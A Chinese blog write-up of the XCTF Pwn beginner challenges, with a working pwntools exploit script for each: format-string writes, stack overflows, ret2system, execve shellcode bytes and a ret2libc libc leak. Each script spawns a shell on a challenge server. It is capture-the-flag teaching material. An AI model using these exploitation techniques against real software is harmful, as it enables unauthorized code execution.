XCTF攻防世界 Pwn 新手练习区全解

发布于 2019-11-28  352 次阅读


get_shell

直接就有shell了,然后拿flag

CGfsb

格式化字符串漏洞

注意两个点:

%{数字}$n是把栈上面的第{数字}个参数改成这句话之前这个字符串打印的字符总数 (新学的)

%p 打印地址方便看

%{数字}c 是相当于打印{数字}个字符 (这个很显然)

from pwn import *
from pwnlib import *

address = '111.198.29.45'
port = 48548

io = remote(address,port)

gad = 0x0804A068
payload = 'a'.encode('utf-8') * 4 + p32(gad) + '%11$n'.encode('utf-8')

io.sendline('init_')
io.sendline(payload)
print(io.recvall())

when_did_you_born

需要让生日为1926,但是在第一步判断掉了生日不能为1926

但是我们发现了可以输入一个名字,这个名字可以超长然后溢出

所以我们溢出到下一个变量然后把其改成1926就完事了

from pwn import *

address = '111.198.29.45'
port = 48453

io = remote(address,port)

payload = 'a'.encode('utf-8') * 8 + p32(0x786)

io.sendline('1234')
io.sendline(payload)
print(io.recvall().decode('utf-8'))

hello_pwn

和上一题差不多,裸的栈溢出

from pwn import *

address = '111.198.29.45'
port = 43862

io = remote(address,port)

payload = 'a'.encode('utf-8') * 4 + p32(0x6E756161)

io.sendline(payload)
print(io.recvall())

level0

我们发现了有一个字符串在main里面那个函数似乎读入的比较长(0x200)

同时我们也从IDA左侧的函数列表里面发现了一个函数叫callsystem

那么我们只要理解一下linux栈的格式就可以直接覆盖掉返回了

格式:字符串(可能有别的东西)+EBP+返回地址+{如果返回地址是个函数:EBP+参数1+参数2+...}

from pwn import *
from pwnlib import *

address = '111.198.29.45'
port = 37696

shellcode = b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

io = remote(address,port)

print(len(shellcode))

io.recvuntil('Hello, World')

payload = 'a'.encode('utf-8') * 0x88 + p64(0x00400596)

io.sendline(payload)
io.interactive()

level2

比较容易发现有一个system函数,我们可以观察到这个东西的地址

同时我们还可以发现一个字符串 /bin/sh

拼起来就行

from pwn import *

address = '111.198.29.45'
port = 33883

io = remote(address,port)

sysaddr = 0x08048320
shaddr = 0x0804A024

payload = 'a'.encode('utf-8') * 0x88 + p32(0) + p32(sysaddr) + p32(0) + p32(shaddr)

io.sendline(payload)
io.interactive()

string

有趣的一道题

观察后发现在sub_400BB9里面有格式化字符串漏洞

然后发现sub_400CA6里面如果*a1==a1[1]就能够写入shellcode

然后你也可以发现一开头两个secret是a1[0]和a1[1]的地址

那么我们在sub_400BB9里面用格式化字符串漏洞修改a1[0]的值,然后正常操作就可以写入shellcode然后拿到shell了

from pwn import *

address = '111.198.29.45'
port = 42964

io = remote(address,port)
context(arch='amd64',os='linux',log_level='debug')

io.recvuntil('secret[0] is ')
v4 = int(io.recvuntil('\n'),16)
io.recvuntil('secret[1] is ')
v5 = int(io.recvuntil('\n'),16)
io.sendlineafter('What should your character\'s name be:','Initialize')
io.sendlineafter('So, where you will go?east or up?:','east')
io.sendlineafter('go into there(1), or leave(0)?:','1')
io.sendlineafter('\'Give me an address\'',str(int(v4)))
# io.sendlineafter('And, you wish is:','aaaa'+'-%p'*10)
io.sendlineafter('And, you wish is:','%85c%7$n')
shellcode = asm(shellcraft.sh())
io.sendlineafter('USE YOU SPELL',shellcode)
io.interactive()

guess_num

利用较长的字符串覆盖掉随机种子,然后就可以在本地跑一遍随机数从而得到答案

from pwn import *

address = '111.198.29.45'
port = 45423
context(arch='amd64',os='linux',log_level='debug')

io = remote(address,port)

io.sendlineafter('Your name:','a'.encode('utf-8') * 32 + p64(ord('0')))

guessnum = [4,2,5,5,3,5,5,6,1,6]

for num in guessnum:
    io.sendlineafter('Please input your guess number:',str(num))

print(io.recvall())
#include<cstdio>

#include<cstdlib>

#include<algorithm>

using namespace std;



int main(){

srand('0');

for(register int i=0;i<=9;i++){

    printf("%d,",rand()%6+1);

}

return 0;

}

int_overflow

ull整型溢出,注意那个变量开小了

所以我们不止可以写入3~8个字符,还可以写入(3+256) ~ (8+256)个字符

那么剩下的就是常规的栈溢出了

ida使用时注意左侧有个打印flag的函数,找到这个地址打印

from pwn import *

address = '111.198.29.45'
port = 31444
flagaddr = 0x0804868B

io = remote(address,port)
context(arch='i386',os='linux',log_level='debug')

io.sendlineafter('Your choice:','1')
io.sendlineafter('Please input your username:','admin')
io.sendlineafter('Please input your passwd:','a'.encode('utf-8') * 0x14 + '0'.encode('utf-8') * 4 + p32(flagaddr) + 'a'.encode('utf-8') * 231)
print(io.recvall())

cgpwn2

这题麻烦之处在于本身只有system函数但是没有'/bin/sh',这个字符串我们需要手动构造

那么我们在name的地方就可以手动构造了

其他的就是正常的栈溢出

from pwn import *

address = '111.198.29.45'
port = 34692

io = remote(address,port)
context(arch = 'i386',os = 'linux',log_level = 'debug')

sys_addr = 0x08048420
shell = '/bin/sh'
name_addr = 0x0804A080

io.sendlineafter('please tell me your name',shell)
io.sendlineafter('hello,you can leave some message here:','a'.encode('utf-8') * 0x26 + 'a'.encode('utf-8') * 4 + p32(sys_addr) + 'a'.encode('utf-8') * 4 + p32(name_addr))

io.interactive()

level3

相当复杂的一个题

libc泄露,利用两次write写入栈溢出字符串,第一次返回main然后write出write的真实地址,从而算出libc_base(libc挂载基址),然后第二次返回的时候用算出的system函数地址和/bin/sh地址得到shell

具体操作看脚本

from pwn import *

address = '111.198.29.45'
port = 53040
context(arch = 'i386',os = 'linux',log_level = 'debug')

io = remote(address,port)
# io = process('./level3')
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

print(elf.plt)

write_plt = elf.plt[b'write']
write_got = elf.got[b'write']
main_addr = elf.symbols[b'main']

payload = 'a'.encode('utf-8') * 0x88 + p32(0xdeadc0de) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

io.sendlineafter('Input:\n',payload)
write_got = u32(io.recv())

libc_base = write_got - libc.symbols[b'write']
system_addr = libc_base + libc.symbols[b'system']
sh_addr = libc_base + 0x15902b

payload = 'a'.encode('utf-8') * 0x88 + p32(0xdeadc0de) + p32(system_addr) + p32(0xdeadc0de) + p32(sh_addr)

io.sendlineafter('Input:',payload)

io.interactive()
It is my final heart.
最后更新于 2019-11-28